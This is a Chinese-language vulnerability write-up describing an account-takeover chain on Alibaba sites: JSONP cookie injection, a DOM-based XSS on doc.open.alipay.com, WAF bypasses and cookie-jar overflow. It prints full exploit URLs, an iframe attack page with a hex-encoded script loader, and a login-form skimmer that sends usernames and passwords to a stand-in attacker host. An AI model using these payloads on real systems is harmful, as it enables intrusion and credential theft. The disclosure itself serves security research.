一个账户接管几乎所有阿里巴巴网站(CSRF漏洞+WAF绕过)
场景
文章是关于某些客户端漏洞导致几个阿里巴巴网站的帐户被接管。
条件
TL;DR 必要条件,例如JSONP,某些浏览器处理cookie等行为。
攻击原理
大多数阿里巴巴的网站加载并执行外部JavaScript对象,JavaScript代码从名为的cookie中获取值uid。攻击者可以uid代表受害者将价值改变为恶意有效Payload,从而导致帐户接管。
漏洞发现的简要步骤
1、找到一个URL(ynuf.alipay.com),返回在许多阿里巴巴网站上执行的JavaScript代码。
2、实现了提到的URL反映了JavaScript代码中的cookie值。
3、搜索* .alipay.com以查找XSS以控制cookie值。
4、在子域中找到了潜在的基于DOM的XSS。
5、操纵入口点以避开两次WAF。
6、使用一种不常见的技术来重写cookie的值。
7、在许多网站上执行JavaScript代码,例如login.alibaba.com
8、写了一个漏洞利用代码来接管alibaba.com上的任何帐户
9、几乎最新版本的谷歌浏览器和Firefox浏览器已对最终版本进行了测试。文章末尾已经附上示范POC。
细节
什么是JSONP?
JSONP是一种发送JSON数据的方法。
- 可以加载外部JavaScript对象
- 不使用XMLHttpRequest对象
- 不太安全
- 浏览器中的旁路SOP
JSONP请求/响应的示例
易受攻击的外部JavaScript对象
如图所示,阿里巴巴的许多网站从以下网址加载外部JavaScript对象:
https://ynuf.alipay.com/uid
JavaScrip代码:
um.__idcb("5cb143654b94f4a5")
这是一个简单的代码。仔细观察发现,5cb143654b94f4a5取自uid先前在ynuf.alipay.com域中设置的cookie 。如果用户没有cookie,则服务器会在响应中设置相应的值,否则取其值。工作流程如图:
JSONP Call阿里巴巴的两个域名
找到缺陷的顺序,第一个请求/响应:
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Accept: */*
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 17:38:10 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: d181bf00669d40c0
Set-Cookie: uid=d181bf00669d40c0; expires=Thu, 30 Jan 2031 08:00:00 GMT
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("26fadf90bac907a7")
第二次请求/回复:
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=d181bf00669d40c0
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("d181bf00669d40c0")
第三个请求/回复:
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=")+alert("Injected
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("")+alert("Injected")
由于没有对cookie值应用转义函数,因此可以注入恶意代码。什么样的漏洞导致控制cookie?
ynuf.alipay.com中的跨站点脚本
花一些时间寻找ynuf.alipay.com失败的XSS 。由于该网站功能较小。
Cookie中的重要说明
乍看之下,需要ynuf.alipay.com中的XSS来改变cookie的值。 根据 RFC6265,a.b.com可以设置具有域属性.b.com和a.b.com的cookie,其中浏览器自动将具有.b.com属性的cookie发送到b.com子域。
因此,通过x.y.alipay.com域,可以设置带有.alipay.com和.y.alipay.com属性的cookie。 Cookie由浏览器用于所有.alipay.com子域。 所以? 只需* .alipay.com中的一个小型XSS即可触发该链。 有效Payload如下:
uid=")+alert("xss;domain=.alipay.com
挖掘在*.alipay.com的XSS
Recon导致发现doc.open.alipay.com。 下面的访问URL重定向了用户。
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo
仔细观察URL,发现JavaScript处理的重定向不是3xx标头。 查看代码还显示,可以通过向查询字符串添加articleId参数来停止重定向。
触发XSS的第一个简单测试是通过双引号打破这条线。
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo">&articleId=bar
结果:
服务器端函数应用。
是否有机会得到XSS?
JavaScript的魔术
棘手的点
如果jQuery从表单中获取HTML编码值 .val(),则返回相应的HTML解码值。
<input id="input" value="&"" />
jQuery的:
$('#input').val() // return &"
回到查找漏洞的细节,仔细观察发现,doc.open.alipay.com体现keyword值的页面是由JavaScript产生的,构成该部分的JavaScript代码:
function h(b, e) {
url = d.one(".J_ajaxUrl").val();
var f = "keyword=" + (d.one(".J_Tagword") ? d.one(".J_Tagword").val() : d.one(".J_SearchKeyword").val()) + "&searchType=" + e;
url.indexOf("?") > 0 ? url += "&" : url += "?",
c({
url: url + f + "¤t=" + b,
type: "post",
dataType: "json",
data: {},
success: function(b) {
if (200 == b.code) {
var c = b.data;
c.typeTotals;
if (c.count > 0) {
var g = [];
c.results.length > 0 ? (a.each(c.results, function(a) {
"0" == e ? g.push("<li>", '<h2><a href="' + a.link + '" target="_blank">' + a.title + "</a></h2>", '<div class="desc">' + a.content + "</div>", '<span class="time" style="margin-right: 10px">' + a.typeName + "</span>", '<span class="time">更新时间: ' + a.gmtModifiedStr + "</span>", "</li>") : g.push("<li>", '<h2><a href="' + a.link + '" target="_blank">' + a.title + "</a></h2>", '<div class="desc">' + a.content + "</div>", '<span class="time">更新时间: ' + a.gmtModifiedStr + "</span>", "</li>")
}),
d.all("ul", ".J_SearchList").html(g.join(""))) : d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">该类目下没有符合条件的搜索结果</p>'),
a.each(d.all(".J_typeTotal"), function(a, b) {
var e = d.all(a);
e.parent();
0 == b ? e.text(c.count) : e.text(c[l[b] + "Count"])
}),
0 == e ? k.changeTotalPage(Math.ceil(c.count / c.size)) : k.changeTotalPage(Math.ceil(c[l[e] + "Count"] / c.size)),
k.setCurrentPage(c.current),
d.all(window).scrollTop(0)
} else
d.all("li", ".J_typeList").show(),
d.all(".J_typeTotal").text(0),
k.changeTotalPage(1),
d.one("#platformId") && "1" == d.one("#platformId").val() ? d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">没有符合条件的搜索结果</p>') : d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">没有符合条件的搜索结果</p><p style="margin-top:10px;color: #0089cd;"><a target="_blank" href="https://open.taobao.com/doc2/docSearch?' + f + '">搜索淘宝开放平台 --\x3e</a></p>')
}
}
})
}
它是链接中重要的javascript代码。服务器以正确编码输入j_searchkeywork中的参数关键字。但是,考虑到第 3行,d.one(“.j_searchkeyword”).val()返回HTML解码值,该值在下面的几行代码插入到页面中,目的是注入XSS有效Payload,即使是以HTML编码格式,它也不是一个常用的基于DOM的XSS攻击向量:
发送最简单的XSS有效Payload。 然而,服务器端的清理很烦人。 数据流:
绕过服务器端清理
生成XSS的第一步是添加一个新的HTML标记。 但是,服务器正在对关键字参数传递的标签应用某种规则。 Fuzz模糊测试:
导致透露出以下规则/条件:
- 1、删除属性并关闭有效HTML标记的标记,`<a href>`转为`<a> </a>`
- 2、无效标签被递归完全删除。 <blah>或<bl<blah>ah>被完全过滤。
更多模糊测试
>
和<
预计会变成>
和&lt;
。 但是上一个请求/响应显示了其他内容,很快发现服务器正在应用自定义HTML编码器功能:
1、如果输入未被识别为有效的html编码值 - > html_encode(value)
2、如果输入被识别为有效的HTML编码值 - >返回值
这个小瑕疵是一个很大的漏洞。 神奇的是输入了:
">%26gt;script%26lt;
然后,注入XSS有效Payload:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=">%26gt;script%26lt;
导致:
WAF阻止了请求。
绕过WAF
利用服务器端清理功能的第二条规则删除无效的HTML标记)可以成功绕过WAF。
数据流:
但是没有效果。 因为JavaScript发出了另一个AJAX请求。 考虑到gist代码的第10行,之前提到的JavaScript库依赖于AJAX请求。 请求是:
https://doc.open.alipay.com/doc2/search.htm?platformId&keyword="><script>&searchType=0¤t=1
当检测到有效Payload时,WAF阻止了第二个请求(毫无疑问,任何WAF都应该阻止"><script>
)。坏消息是根据库规则,只有200
状态代码才显示出有效Payload(gist代码中的第11行)
if (200 == b.code) {
因此,需要有效Payload同时绕过两个请求中的WAF规则。
这里需要更多的模糊测试。 测试了几种载体。 之后,发现了ontoggle有效Payload:
<details/open/ontoggle=JS>
这绕过了AJAX请求中的WAF。
感谢HTML 5.所以最终的有效Payload是:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=">%26gt;details%2fopen%2fontoggle=%26lt;
导致发送第二个AJAX请求:
https://doc.open.alipay.com/doc2/search.htm?platformId&keyword="><details/open/ontoggle=>&searchType=0¤t=1
两者都可以从WAF接受。 答对了!
场景:
1、构建恶意HTML网页
2、诱骗用户访问我们的网页
3、设置恶意cookie
4、JavaScript被注入许多阿里巴巴的子域
5、获取证书
漏洞利用问题:
由于ynuf.alipay.com使用uid名称为其域设置cookie,因此无法从其他域覆盖。 使用.alipay.com属性添加另一个具有相同名称的cookie也无法解决问题,因为如果域中存在两个名为xxx的cookie,则默认行为 是浏览器将旧cookie放在HTTP请求的前面,这样服务器就可以获取第一个cookie
覆盖Cookie
测试表明,浏览器可以为每个域节省有限数量的cookie。例如,谷歌浏览器为一个域节省了不到150个cookie,而Firefox节省了大约200个。更多细节:
http://browsercookielimits.squawky.net/
因此,有效Payload很简单:
for(var i=0;i<1000;i++){
document.cookie=i+'=1;domain=.alipay.com'
}
document.cookie='uid=foo;domain=.alipay.com;path=/'
因此攻击向量uid
通过添加许多垃圾cookie 来消除旧cookie,添加由恶意Payload填充的新uid cookie。
告警有效Payload
由于WAF阻断了")+alert("xss
,因此等效值被替换为绕过WAF的编码值:
document.cookie='uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/'
最终组合
最终的有效Payload比预期的要简单:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/%27%22%3E
访问上面的URL会在cookie中注入恶意JavaScript代码,该代码在阿里巴巴公司的许多域中执行,例如:
https://login.alibaba.com/
https://passport.alibaba.com/mini_login.htm?appName=hrjob
https://accounts.alibaba.com/register/cnfm_reg.htm
https://login.taobao.com/member/login.jhtml
https://reg.taobao.com/member/reg/fill_mobile.htm
https://login.aliexpress.com/
http://tp.amap.com/
http://id.amap.com/
https://passport.alibaba-inc.com/ssoLogin.htm?APP_NAME=iworkmanage
https://ipp.alibabagroup.com/login.htm
https://mp.dayu.com/
https://passport.umeng.com/login
https://passport.damai.cn/loginEn
显然,有更多的网站受到影响。
最后目标
最终目标是在阿里巴巴的网站上进行账户接管。 诱导用户点击链接,然后如果用户下次登录,该帐户将被泄露。 触发漏洞的链接源:
<html>
<center>
<img src='https://pbs.twimg.com/profile_images/701729713392320512/PaYM_TF4_400x400.jpg'><img>
<iframe src="https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;domain=.alipay.com;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe>
</html>
iframe src使用以下有效Payload而不是alert来注入恶意JavaScript文件并动态加载:
"\")+(script=document.createElement('script'),script.src='https://myserver/xpl.js',document.body.appendChild(script))+(\""
有效Payload放在https://myserver/xpl.js:
document.forms[0].onsubmit = function() {
var u = document.getElementById('fm-login-id');
var p = document.getElementById('fm-login-password');
var s = new XMLHttpRequets();
s.open('POST', 'https://myserver/xxx-alibaba/');
s.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
s.onreadystatechange = function() {
if (s.readState == 4) {
document.forms[0].submit();
}
}
s.send(`u=${u}&p=${p}`);
return false;
}
最终,在用户访问攻击者的链接并登录https://login.alibaba.com/后,凭据将被盗并保存在https://myserver/xxx-alibaba/data.txt中:
{"u":"alibaba@alibaba.com","p":"password"}
帐户接管完成。